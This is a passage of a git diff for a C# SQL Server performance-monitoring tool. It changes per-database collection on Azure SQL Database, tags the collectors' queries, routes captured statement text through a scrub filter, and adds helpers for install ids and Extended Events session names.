+    /// <para>#1631 made this false because the enumeration connects to <c>master</c>, which a login admitted by a
+    /// DATABASE-level firewall rule cannot open (error 40615). That is handled by the host now: a
+    /// registration that names a database sweeps that database alone and never touches master (#2220), and a
+    /// logical-server registration is connected to master anyway, so it had nothing to lose.</para>
     ///
-    /// <para>Running once on the existing connection removes <c>master</c> from this collector's path
-    /// completely, rather than relying on the enumeration's fallback to recover from an error it did not
-    /// need to provoke. #1634's fallback still protects the collectors that genuinely must enumerate
-    /// (the per-database XE readers); this one simply stops asking.</para>
+    /// <para>On every other target the one connection reads every database through the cursor.</para>
     /// </summary>
-    public override bool RunsPerDatabase(CollectorTargetInfo target) => false;
+    public override bool RunsPerDatabase(CollectorTargetInfo target) => target.IsAzureSqlDb;
 
     /// <summary>
     /// This collector's on-prem batch returns its per-database probe failures after the payload (#1851).
@@ -478,7 +420,8 @@ public override CollectorQuery BuildQuery(CollectorContext context)
     {
         if (context.Target.IsAzureSqlDb)
         {
-            /* Database exclusion happens in the host's database enumeration on Azure. */
+            /* Database exclusion happens in the host's database enumeration on Azure; this text runs once in
+               each enumerated database (RunsPerDatabase). */
             return new CollectorQuery(AzureSqlDbQueryText);
         }
 
@@ -521,10 +464,10 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
 
         while (await reader.ReadAsync(cancellationToken))
         {
-            /* Ordinals 1, 2 and 5 are NULL on every Azure sibling row (#2643's arm omits what
-               sys.resource_stats cannot measure), and an unguarded read here killed the whole
-               collection — master's own rows included — the moment the first sibling row appeared
-               (#3262). */
+            /* Ordinals 1, 2 and 5 are never NULL in what this statement reads today (#5498 removed the
+               sibling arm that emitted them as NULL), but the guards stay: an unguarded read here once
+               killed the whole collection the moment the first NULL row appeared (#3262), and the store
+               still holds those rows. */
             rows.Add(new Row(
                 reader.GetString(0),
                 reader.IsDBNull(1) ? null : Convert.ToInt32(reader.GetValue(1), CultureInfo.InvariantCulture),
diff --git a/PerformanceMonitor.Collectors/DatabaseStateCollector.cs b/PerformanceMonitor.Collectors/DatabaseStateCollector.cs
index 86cc3c1fce..bf78968087 100644
--- a/PerformanceMonitor.Collectors/DatabaseStateCollector.cs
+++ b/PerformanceMonitor.Collectors/DatabaseStateCollector.cs
@@ -67,7 +67,7 @@ public override CollectorQuery BuildQuery(CollectorContext context)
         var query = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     database_name = d.name,
     database_id = d.database_id,
     state_desc = d.state_desc,
diff --git a/PerformanceMonitor.Collectors/DeadlocksCollector.cs b/PerformanceMonitor.Collectors/DeadlocksCollector.cs
index 787f317b47..63a9136b5f 100644
--- a/PerformanceMonitor.Collectors/DeadlocksCollector.cs
+++ b/PerformanceMonitor.Collectors/DeadlocksCollector.cs
@@ -14,6 +14,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using System.Xml.Linq;
+using PerformanceMonitor.Common;
 
 namespace PerformanceMonitor.Collectors;
 
@@ -461,6 +462,14 @@ public override CollectorQuery BuildQuery(CollectorContext context)
     {
         var text = context.Target.IsAzureSqlDb ? AzureQueryText : ServerScopedQueryText;
 
+        /* #4961: the session this database's read names: the shared one, or this install's own when the ensure fell back to
+           it there. Only the session-name literals are replaced, never the table variable that shares the spelling. */
+        var sessionName = AlwaysOnXeSessions.ReadNameFor(AlwaysOnXeSessionKind.Deadlock, context.AlwaysOnSessionName);
+        if (!string.Equals(sessionName, XeSessionName, StringComparison.Ordinal))
+        {
+            text = text.Replace($"N'{XeSessionName}'", $"N'{sessionName}'", StringComparison.Ordinal);
+        }
+
         /* Splice (Darling) or erase (Lite, flag off — byte-identical) the victim plan capture. */
         text = text
             .Replace("/*DL_PLAN_SELECT*/", context.CapturePlanXml ? PlanSelectFragment : "", StringComparison.Ordinal)
@@ -504,6 +513,23 @@ of which XeShredGate.ShouldShred treats as "shred". */
         return new CollectorQuery(text, parameters);
     }
 
+    /// <summary>The separator inside the identity text of a whole-marker graph (see <see cref="GetIdentity"/>). An
+    /// XML graph cannot hold it, so no real graph can equal a whole-marker identity.</summary>
+    public const char WholeMarkerIdentitySeparator = '\u0001';
+
+    /// <summary>
+    /// The SQL expression (PostgreSQL and DuckDB both run it) that gives a stored row the same identity text
+    /// <see cref="GetIdentity"/> gives the row it was written from: the graph itself, except that a graph equal to
+    /// the statement filter's marker becomes marker + victim process id + database name. A marker row with no victim
+    /// process id has nothing to tell it apart, so it stays the bare marker, which no row's identity ever equals
+    /// (#4348, R4b).
+    /// </summary>
+    public const string StoredGraphIdentitySql =
+        "CASE WHEN deadlock_graph_xml = '" + SensitiveStatements.PlaceholderText + "' "
+        + "AND victim_process_id IS NOT NULL AND victim_process_id <> '' "
+        + "THEN deadlock_graph_xml || chr(1) || victim_process_id || chr(1) || COALESCE(database_name, '') "
+        + "ELSE deadlock_graph_xml END";
+
     /// <inheritdoc />
     public (DateTime Time, string Graph)? GetIdentity(Row row)
     {
@@ -512,7 +538,27 @@ of which XeShredGate.ShouldShred treats as "shred". */
             return null;
         }
 
-        return (new DateTime(time.Ticks - (time.Ticks % 10), time.Kind), row.GraphXml);
+        var graph = row.GraphXml;
+
+        /* #4348: a graph the statement filter withheld WHOLE is the marker, the same text for every such graph, so
+           the text cannot tell two deadlocks at one time apart. The identity is then built from the columns this row
+           parsed from the raw graph before judging it: the event time (above), the victim process id and the
+           database. The same deadlock re-read inside CursorReReadOverlap gets the same identity and is dropped as a
+           copy; a different deadlock at that time has another victim process. A marker row with no victim process id
+           has nothing to tell it apart, so it has no identity and is never dropped. StoredGraphIdentitySql builds
+           the same text for a stored row. */
+        if (string.Equals(graph, SensitiveStatements.PlaceholderText, StringComparison.Ordinal))
+        {
+            if (string.IsNullOrEmpty(row.VictimProcessId))
+            {
+                return null;
+            }
+
+            graph = string.Concat(graph, WholeMarkerIdentitySeparator.ToString(), row.VictimProcessId,
+                WholeMarkerIdentitySeparator.ToString(), row.DatabaseName ?? string.Empty);
+        }
+
+        return (new DateTime(time.Ticks - (time.Ticks % 10), time.Kind), graph);
     }
 
     /// <inheritdoc />
@@ -563,6 +609,10 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
            XElement.Parse, which is expensive and was previously misattributed as storage time. */
         var rows = new List<Row>();
         DateTime? telemetryMax = null;
+        /* #4348: one statement-filter session for this read. The RAW graph is parsed first (ExtractVictimFields);
+           each derived string is then judged where it first enters the row, so the stored identity (time and
+           graph) is computed from the filtered value. */
+        var scrub = context.BeginStatementScrub();
 
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -574,12 +624,13 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
             var victimProcessId = reader.IsDBNull(1) ? null : reader.GetString(1);
             var graphXml = reader.IsDBNull(2) ? null : reader.GetString(2);
             var victim = ExtractVictimFields(graphXml, victimProcessId);
+            var victimSqlText = scrub.Text(victim.SqlText);
 
             /* #3307: a victim whose statement came from a procedure invoked as an RPC carries
                "Proc [Database Id = N Object Id = M]" instead of the procedure name — SQL Server writes
                the ids because there is no batch text to write. Note the pair here, in the read, and the
                supplemental below resolves every one the cycle produced in a single lookup. */
-            ProcPlaceholder.Register(victim.SqlText, context.ProcPlaceholderIds);
+            ProcPlaceholder.Register(victimSqlText, context.ProcPlaceholderIds);
 
             var deadlockTime = reader.IsDBNull(0) ? (DateTime?)null : reader.GetDateTime(0);
 
@@ -593,11 +644,11 @@ supplemental below resolves every one the cycle produced in a single lookup. */
             {
                 DeadlockTime = deadlockTime,
                 VictimProcessId = victimProcessId,
-                VictimSqlText = victim.SqlText,
-                GraphXml = graphXml,
+                VictimSqlText = victimSqlText,
+                GraphXml = scrub.Xml(graphXml),
                 /* victim_query_plan_xml rides at ordinal 3 only when CapturePlanXml spliced it into
                    the projection; the short-circuit skips it entirely when off. */
-                VictimQueryPlanXml = context.CapturePlanXml && !reader.IsDBNull(3) ? reader.GetString(3) : null,
+                VictimQueryPlanXml = context.CapturePlanXml && !reader.IsDBNull(3) ? scrub.Xml(reader.GetString(3)) : null,
                 /* #2641: a row that KNOWS its own database wins, and only the Azure telemetry arm
                    does. That arm is read from master while CurrentDatabaseName is "master", so taking
                    the connection's database would stamp every deadlock on the server as master's —
@@ -674,9 +725,11 @@ public override async ValueTask ApplySupplementalAsync(List<Row> rows, DbDataRea
             return;
         }
 
+        /* #4348: the resolved name is a new string entering the row, so it goes through the filter again. */
+        var scrub = context.BeginStatementScrub();
         foreach (var row in rows)
         {
-            row.VictimSqlText = ProcPlaceholder.Resolve(row.VictimSqlText, resolved);
+            row.VictimSqlText = scrub.Text(ProcPlaceholder.Resolve(row.VictimSqlText, resolved));
         }
     }
 
diff --git a/PerformanceMonitor.Collectors/DefaultTraceEventsCollector.cs b/PerformanceMonitor.Collectors/DefaultTraceEventsCollector.cs
index 31d71af610..6d6f0e9911 100644
--- a/PerformanceMonitor.Collectors/DefaultTraceEventsCollector.cs
+++ b/PerformanceMonitor.Collectors/DefaultTraceEventsCollector.cs
@@ -217,13 +217,13 @@ wildly between the all-history first run and the tiny steady-state windows. */
 DECLARE
     @current_trace_path nvarchar(260);
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     @current_trace_path = t.path
 FROM sys.traces AS t
 WHERE t.is_default = 1
 AND   t.status = 1;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     event_time = ft.StartTime,
     event_name = te.name,
     event_class = ft.EventClass,
@@ -318,7 +318,7 @@ ORDER BY
     ft.StartTime DESC
 OPTION(RECOMPILE);
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     current_trace_path = @current_trace_path;";
 
     public override string Name => "default_trace_events";
@@ -453,6 +453,8 @@ private static (string Clause, List<CollectorParameter> Parameters) BuildNullSaf
     public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, CollectorContext context, CancellationToken cancellationToken)
     {
         var rows = new List<Row>();
+        /* #4348: the statement text goes through the statement filter where it first enters a row. */
+        var scrub = context.BeginStatementScrub();
 
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -471,7 +473,7 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
                 Filename = reader.IsDBNull(10) ? null : reader.GetString(10),
                 IntegerData = reader.IsDBNull(11) ? null : Convert.ToInt64(reader.GetValue(11), CultureInfo.InvariantCulture),
                 IntegerData2 = reader.IsDBNull(12) ? null : Convert.ToInt64(reader.GetValue(12), CultureInfo.InvariantCulture),
-                TextData = reader.IsDBNull(13) ? null : reader.GetString(13),
+                TextData = reader.IsDBNull(13) ? null : scrub.Text(reader.GetString(13)),
                 SessionLoginName = reader.IsDBNull(14) ? null : reader.GetString(14),
                 ErrorNumber = reader.IsDBNull(15) ? null : Convert.ToInt32(reader.GetValue(15), CultureInfo.InvariantCulture),
                 Severity = reader.IsDBNull(16) ? null : Convert.ToInt32(reader.GetValue(16), CultureInfo.InvariantCulture),
diff --git a/PerformanceMonitor.Collectors/DmvBlockingSnapshotCollector.cs b/PerformanceMonitor.Collectors/DmvBlockingSnapshotCollector.cs
index 41382de0a2..d97c906ec7 100644
--- a/PerformanceMonitor.Collectors/DmvBlockingSnapshotCollector.cs
+++ b/PerformanceMonitor.Collectors/DmvBlockingSnapshotCollector.cs
@@ -236,6 +236,8 @@ ELSE 1000
     public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, CollectorContext context, CancellationToken cancellationToken)
     {
         var rows = new List<Row>();
+        /* #4348: the two statement columns are judged where they first enter the row. */
+        var scrub = context.BeginStatementScrub();
 
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -251,8 +253,8 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
                 reader.IsDBNull(8) ? null : reader.GetString(8),
                 reader.IsDBNull(9) ? null : reader.GetString(9),
                 reader.IsDBNull(10) ? null : reader.GetString(10),
-                reader.IsDBNull(11) ? null : reader.GetString(11),
-                reader.IsDBNull(12) ? null : reader.GetString(12),
+                reader.IsDBNull(11) ? null : scrub.Text(reader.GetString(11)),
+                reader.IsDBNull(12) ? null : scrub.Text(reader.GetString(12)),
                 reader.IsDBNull(13) ? null : reader.GetString(13),
                 reader.IsDBNull(14) ? null : reader.GetString(14),
                 reader.IsDBNull(15) ? null : reader.GetString(15),
diff --git a/PerformanceMonitor.Collectors/EmptyDatabaseListNote.cs b/PerformanceMonitor.Collectors/EmptyDatabaseListNote.cs
new file mode 100644
index 0000000000..aa2239515d
--- /dev/null
+++ b/PerformanceMonitor.Collectors/EmptyDatabaseListNote.cs
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Collectors;
+
+/// <summary>
+/// The collection-log note for a per-database run whose database list came back empty (#4961).
+///
+/// <para><b>What it fixes.</b> A per-database run with no database to read recorded SUCCESS with 0 rows and no
+/// note, which reads as "nothing ran" rather than "nothing was left to read". Two things empty the list: a
+/// logical server whose every user database is monitored as its own server (the read leaves those to their own
+/// registrations, <see cref="ICollectorDefinition{TRow}.SkipsSeparatelyMonitoredDatabases"/>), and a server
+/// whose every database is excluded. The status stays SUCCESS, since nothing failed; the note says why nothing
+/// was read.</para>
+///
+/// <para><b>Wording.</b> Neither note carries the empty-enumeration marker. The health bands add "target has
+/// user databases" to a note that does, and that would be wrong here: the databases exist, they are read
+/// somewhere else or by choice not read at all. A server whose every run carries one of these notes reads
+/// "note (all N runs)" with no qualifier.</para>
+///
+/// <para>Shared by Lite and Darling so the two products cannot word the same situation differently.</para>
+/// </summary>
+public static class EmptyDatabaseListNote
+{
+    /// <summary>Every database the server lists is monitored as its own server, so this registration reads none.</summary>
+    public const string EverySeparatelyMonitored = "no database read: every user database is monitored as its own server";
+
+    /// <summary>Every database on the server is excluded, so there is none to read.</summary>
+    public const string EveryExcluded = "no database read: every database is excluded";
+
+    /// <summary>
+    /// The note for one per-database run, or null when the run has nothing to explain.
+    ///
+    /// <para>Null when at least one database was read, and null when the list is empty for a reason the caller
+    /// cannot name: no exclusions are configured, or a database scope narrowed the list (the scope may be what
+    /// emptied it, and a note that blames the exclusions would then be wrong).</para>
+    /// </summary>
+    /// <param name="listed">The databases the server listed, after its exclusions and any scope, before the separately monitored ones were left out. A read that never opens <c>master</c> leaves it out of this count too, so a list of <c>master</c> alone is empty.</param>
+    /// <param name="read">The databases the run reads: <paramref name="listed"/> less the separately monitored ones.</param>
+    /// <param name="skipsSeparatelyMonitored">Whether this collector leaves out the databases monitored as their own servers.</param>
+    /// <param name="exclusionsConfigured">Whether the server has any excluded database.</param>
+    /// <param name="databaseScoped">Whether this collector is scoped to named databases.</param>
+    public static string? For(int listed, int read, bool skipsSeparatelyMonitored, bool exclusionsConfigured, bool databaseScoped)
+    {
+        if (read > 0)
+        {
+            return null;
+        }
+
+        if (skipsSeparatelyMonitored && listed > 0)
+        {
+            return EverySeparatelyMonitored;
+        }
+
+        return listed == 0 && exclusionsConfigured && !databaseScoped ? EveryExcluded : null;
+    }
+}
diff --git a/PerformanceMonitor.Collectors/FileIoStatsCollector.cs b/PerformanceMonitor.Collectors/FileIoStatsCollector.cs
index e555d6300e..a6c1e3595b 100644
--- a/PerformanceMonitor.Collectors/FileIoStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/FileIoStatsCollector.cs
@@ -76,7 +76,7 @@ The on-prem / Managed Instance query below is unchanged. */
     private const string AzureSqlDbQueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     database_name = DB_NAME(),
     file_name = df.name,
     file_type = df.type_desc,
@@ -106,7 +106,7 @@ LEFT JOIN sys.database_files AS df
     private const string OnPremQueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     database_name = ISNULL(d.name, DB_NAME(vfs.database_id)),
     file_name = ISNULL(mf.name, N'File_' + CONVERT(nvarchar(10), vfs.file_id)),
     file_type = ISNULL(mf.type_desc, N'UNKNOWN'),
diff --git a/PerformanceMonitor.Collectors/ICollectorDefinition.cs b/PerformanceMonitor.Collectors/ICollectorDefinition.cs
index be186cb6f5..7bfaeae807 100644
--- a/PerformanceMonitor.Collectors/ICollectorDefinition.cs
+++ b/PerformanceMonitor.Collectors/ICollectorDefinition.cs
@@ -45,6 +45,16 @@ public interface ICollectorDefinition<TRow> : ICollectorSchemaInfo
     /// </summary>
     bool RunsPerDatabase(CollectorTargetInfo target);
 
+    /// <summary>
+    /// True when the per-database read on an Azure SQL Database logical server skips the databases monitored as
+    /// their own servers (<c>AzureMasterScope.SeparatelyMonitoredDatabases</c>) and <c>master</c>. The long-query
+    /// trace does: those registrations own the trace's session in their database, and <c>master</c> cannot hold a
+    /// database-scoped session, so the logical server's registration neither manages nor reads either
+    /// (<see cref="LongQueryTraceDatabases.CanHoldSession"/>). False for every other collector, which reads the
+    /// list as the server gave it.
+    /// </summary>
+    bool SkipsSeparatelyMonitoredDatabases { get; }
+
     /// <summary>
     /// Time column the host should read its latest already-collected value of (from the host's
     /// own store) before building the query — exposed to the definition as
diff --git a/PerformanceMonitor.Collectors/ICollectorRowWriter.cs b/PerformanceMonitor.Collectors/ICollectorRowWriter.cs
index 70645cd800..987ce65e88 100644
--- a/PerformanceMonitor.Collectors/ICollectorRowWriter.cs
+++ b/PerformanceMonitor.Collectors/ICollectorRowWriter.cs
@@ -35,4 +35,13 @@ public interface ICollectorRowWriter
     ICollectorRowWriter Value(DateTime value);
     ICollectorRowWriter Value(DateTime? value);
     ICollectorRowWriter NullValue();
+
+    /// <summary>
+    /// Writes a payload column that may already be in the store under a known digest (#5158). A writer that
+    /// can store a digest without the content overrides this; the default ignores the digest and writes the
+    /// content, so a host that does not (Lite) behaves exactly as it did with <see cref="Value(string?)"/>.
+    /// </summary>
+    /// <param name="content">The payload text, or null when the row carries none.</param>
+    /// <param name="knownDigest">The digest the store already holds for this content, or null.</param>
+    ICollectorRowWriter PayloadOrDigest(string? content, string? knownDigest) => Value(content);
 }
diff --git a/PerformanceMonitor.Collectors/IScheduleFrequencyOverride.cs b/PerformanceMonitor.Collectors/IScheduleFrequencyOverride.cs
new file mode 100644
index 0000000000..c079a4f77d
--- /dev/null
+++ b/PerformanceMonitor.Collectors/IScheduleFrequencyOverride.cs
@@ -0,0 +1,29 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Collectors;
+
+/// <summary>
+/// #4999: the three columns of a <c>config.config_collector_schedules</c> override row that decide the interval a
+/// collector runs at. The service's <c>ScheduleOverride</c> and the viewer's <c>CollectorScheduleRow</c> both carry a
+/// row as a record of their own, and both implement this, so one rule
+/// (<see cref="CollectorScheduleDefaults.SelectScheduleOverrides{T}"/> and
+/// <see cref="CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes{T}"/>) picks the row and resolves the interval for
+/// the worker that schedules a collector and for every surface that judges it against that interval.
+/// </summary>
+public interface IScheduleFrequencyOverride
+{
+    /// <summary>The server the row is for, or null for the fleet-wide row.</summary>
+    int? ServerId { get; }
+
+    /// <summary>The collector the row is for.</summary>
+    string CollectorName { get; }
+
+    /// <summary>The row's interval in minutes, or null when the row leaves the interval to the next level.</summary>
+    int? FrequencyMinutes { get; }
+}
diff --git a/PerformanceMonitor.Collectors/IndexObjectStatsCollector.cs b/PerformanceMonitor.Collectors/IndexObjectStatsCollector.cs
index d29df3ca0b..66d6886de1 100644
--- a/PerformanceMonitor.Collectors/IndexObjectStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/IndexObjectStatsCollector.cs
@@ -129,7 +129,7 @@ internal static string BuildPerDatabaseStatsBody(bool supportsOptimizeForSequent
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
 /* Size + row counts (one scan of dm_db_partition_stats) */
-SELECT
+SELECT /* PerformanceMonitorLite */
     dps.object_id,
     dps.index_id,
     partition_count = COUNT_BIG(*),
@@ -147,7 +147,7 @@ GROUP BY
 OPTION(RECOMPILE);
 
 /* Usage counters (one scan of dm_db_index_usage_stats for this database) */
-SELECT
+SELECT /* PerformanceMonitorLite */
     us.object_id,
     us.index_id,
     us.user_seeks,
@@ -164,7 +164,7 @@ FROM sys.dm_db_index_usage_stats AS us
 OPTION(RECOMPILE);
 
 /* Locking/latch counters (one scan of dm_db_index_operational_stats - the heavy DMV) */
-SELECT
+SELECT /* PerformanceMonitorLite */
     ios.object_id,
     ios.index_id,
     leaf_insert_count = SUM(ios.leaf_insert_count),
@@ -198,7 +198,7 @@ definition reads used to run as five correlated subqueries in the final projecti
    catalog once per index - so a wide schema paid per index (a 54K-index database spent ~28s
    in this body). Staging drops that to one scan apiece; the emitted strings and flags are
    byte-identical. */
-SELECT
+SELECT /* PerformanceMonitorLite */
     ic.object_id,
     ic.index_id,
     ic.column_id,
@@ -221,7 +221,7 @@ CREATE CLUSTERED INDEX cx_index_columns
    set), built once here by correlating to the staged #index_columns instead of the live
    catalog. key_ordinal > 0 drops the partitioning column that rides at key_ordinal = 0 on a
    partitioned index (sp_IndexCleanup fix ae32a4c) so it cannot land as a phantom leading key. */
-SELECT
+SELECT /* PerformanceMonitorLite */
     d.object_id,
     d.index_id,
     key_columns =
@@ -288,7 +288,7 @@ SELECT DISTINCT
    the staged KEY columns (is_included_column = 0) instead of a correlated EXISTS per index.
    is_foreign_key = a key column backs an outgoing FK (supporting index); is_foreign_key_reference
    = a key column is referenced by an incoming FK. */
-SELECT DISTINCT
+SELECT /* PerformanceMonitorLite */ DISTINCT
     ic.object_id,
     ic.index_id
 INTO #foreign_key_supporting
@@ -299,7 +299,7 @@ JOIN sys.foreign_key_columns AS fkc
 WHERE ic.is_included_column = 0
 OPTION(RECOMPILE);
 
-SELECT DISTINCT
+SELECT /* PerformanceMonitorLite */ DISTINCT
     ic.object_id,
     ic.index_id
 INTO #foreign_key_referenced
@@ -314,7 +314,7 @@ JOIN sys.foreign_key_columns AS fkc
    with ANY uncompressed partition surfaces as NONE (sp_IndexCleanup's compressibility signal).
    One windowed scan instead of a correlated TOP(1) per index; ties resolve to the same lowest
    data_compression level, hence the same desc the correlated ORDER BY returned. */
-SELECT
+SELECT /* PerformanceMonitorLite */
     p.object_id,
     p.index_id,
     p.data_compression_desc
@@ -339,7 +339,7 @@ FROM sys.partitions AS p
 WHERE p.rn = 1
 OPTION(RECOMPILE);
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     sqlserver_start_time = (SELECT osi.sqlserver_start_time FROM sys.dm_os_sys_info AS osi),
     database_name = DB_NAME(),
     database_id = DB_ID(),
@@ -489,7 +489,7 @@ public override CollectorQuery BuildQuery(CollectorContext context) =>
         var (exclusionClause, exclusionParameters) = DatabaseScopeFilter.BuildEnumerationPredicate(context, "d.name");
         var text = $@"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
-SELECT
+SELECT /* PerformanceMonitorLite */
     d.name
 FROM sys.databases AS d
 WHERE d.state_desc = N'ONLINE'
diff --git a/PerformanceMonitor.Collectors/InstallId.cs b/PerformanceMonitor.Collectors/InstallId.cs
new file mode 100644
index 0000000000..8c6ac87bb1
--- /dev/null
+++ b/PerformanceMonitor.Collectors/InstallId.cs
@@ -0,0 +1,60 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Security.Cryptography;
+
+namespace PerformanceMonitor.Collectors;
+
+/// <summary>
+/// The install id (#4961): the eight characters that tell one install's Extended Events sessions from
+/// another's, in the name of every session an install makes on a server it monitors. Lite keeps its id in a file
+/// at its data root and Darling keeps its in the store; both make and check it here, so the format has one
+/// definition.
+///
+/// <para><b>Format.</b> Exactly eight lowercase hex digits, checked on every load, and a value that fails the
+/// check is replaced rather than repaired. Lowercase only, because on a case-sensitive server collation an id read
+/// back in another case would name a different session than the one it made.</para>
+///
+/// <para>Nothing here touches the operating system beyond the random number generator, so it runs the same on
+/// Linux, where Darling does.</para>
+/// </summary>
+public static class InstallId
+{
+    /// <summary>The number of characters in an id.</summary>
+    public const int Length = 8;
+
+    /// <summary>
+    /// True when <paramref name="id"/> is exactly <see cref="Length"/> lowercase hex digits and nothing else:
+    /// not null, no padding or line ending (a pattern anchored with <c>$</c> would let a trailing newline
+    /// through), and no digit or letter from another script (<c>char.IsDigit</c> would).
+    /// </summary>
+    public static bool IsValid(string? id)
+    {
+        if (id is null || id.Length != Length)
+        {
+            return false;
+        }
+
+        foreach (var c in id)
+        {
+            if (!(c is >= '0' and <= '9' || c is >= 'a' and <= 'f'))
+            {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /// <summary>
+    /// A new random id, from the cryptographic generator rather than <see cref="Random"/>: two installs that
+    /// start in the same moment must not share a seed and so must not share an id.
+    /// </summary>
+    public static string NewId() => Convert.ToHexStringLower(RandomNumberGenerator.GetBytes(Length / 2));
+}
diff --git a/PerformanceMonitor.Collectors/JobHistoryCollector.cs b/PerformanceMonitor.Collectors/JobHistoryCollector.cs
index 64ca7e6f61..ee3002777a 100644
--- a/PerformanceMonitor.Collectors/JobHistoryCollector.cs
+++ b/PerformanceMonitor.Collectors/JobHistoryCollector.cs
@@ -152,7 +152,7 @@ varies wildly between the all-history first run and the tiny steady-state instan
     private const string QueryTemplate = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     instance_id = jh.instance_id,
     job_id = CONVERT(varchar(36), jh.job_id),
     job_name = j.name,
@@ -547,6 +547,9 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
     {
         var rows = new List<Row>();
         var regressionReported = false;
+        /* #4348: a job step's message can echo the statement it ran; it goes through the statement filter where it
+           first enters a row. */
+        var scrub = context.BeginStatementScrub();
 
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -584,7 +587,7 @@ first id the target now holds. Counts on the measurement seam are the definition
                 RunDateTime = reader.IsDBNull(9) ? null : reader.GetDateTime(9),
                 RunDurationSeconds = reader.IsDBNull(10) ? 0 : Convert.ToInt64(reader.GetValue(10), CultureInfo.InvariantCulture),
                 RetriesAttempted = reader.IsDBNull(11) ? 0 : Convert.ToInt32(reader.GetValue(11), CultureInfo.InvariantCulture),
-                Message = reader.IsDBNull(12) ? null : reader.GetString(12),
+                Message = reader.IsDBNull(12) ? null : scrub.Text(reader.GetString(12)),
             });
         }
 
diff --git a/PerformanceMonitor.Collectors/LatchStatsCollector.cs b/PerformanceMonitor.Collectors/LatchStatsCollector.cs
index 872f518945..164ebc79ef 100644
--- a/PerformanceMonitor.Collectors/LatchStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/LatchStatsCollector.cs
@@ -38,7 +38,7 @@ private LatchStatsCollector()
     private const string QueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     latch_class = ls.latch_class,
     waiting_requests_count = ls.waiting_requests_count,
     wait_time_ms = ls.wait_time_ms,
diff --git a/PerformanceMonitor.Collectors/LegacyLongQuerySession.cs b/PerformanceMonitor.Collectors/LegacyLongQuerySession.cs
new file mode 100644
index 0000000000..ba3a8d25fc
--- /dev/null
+++ b/PerformanceMonitor.Collectors/LegacyLongQuerySession.cs
@@ -0,0 +1,25 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Collectors;
+
+/// <summary>
+/// The long-query session that versions before #4961 shared between installs. Each upgraded install drops it once per
+/// registration and database, then records the drop in collector_state so it never touches that session again.
+/// </summary>
+public static class LegacyLongQuerySession
+{
+    /// <summary>The collector name the drop record is kept under in collector_state.</summary>
+    public const string StateCollector = "long_query_completions";
+
+    /// <summary>The start of the drop record's state key. The database name follows it, empty on server scope.</summary>
+    public const string StateKeyPrefix = "legacy_session_dropped:";
+
+    /// <summary>The drop record's state key for one database. Server scope passes an empty name.</summary>
+    public static string StateKey(string database) => StateKeyPrefix + database;
+}
diff --git a/PerformanceMonitor.Collectors/LongQueryCompletionsCollector.cs b/PerformanceMonitor.Collectors/LongQueryCompletionsCollector.cs
index 2a578c31b1..d2e51f69b3 100644
--- a/PerformanceMonitor.Collectors/LongQueryCompletionsCollector.cs
+++ b/PerformanceMonitor.Collectors/LongQueryCompletionsCollector.cs
@@ -16,8 +16,9 @@
 namespace PerformanceMonitor.Collectors;
 
 /// <summary>
-/// Long-running query completions from the app-managed PerformanceMonitor_LongQueryCompletions XE
-/// ring-buffer session (#1496) — the Extended Events equivalent of the classic long-query trace
+/// Long-running query completions from the install's own XE ring-buffer session,
+/// PerformanceMonitor_{product}_{id}_LongQueryCompletions (see <see cref="XeSessionNameFor"/>) (#1496) — the
+/// Extended Events equivalent of the classic long-query trace
 /// (modeled on SSMS's QuickSessionStandard completion trio): <c>rpc_completed</c> +
 /// <c>sql_batch_completed</c> filtered by <c>duration &gt;= @long_query_threshold</c> (microseconds),
 /// plus <c>attention</c> captured UNFILTERED. Attention is the "long query that never finished —
@@ -39,7 +40,7 @@ namespace PerformanceMonitor.Collectors;
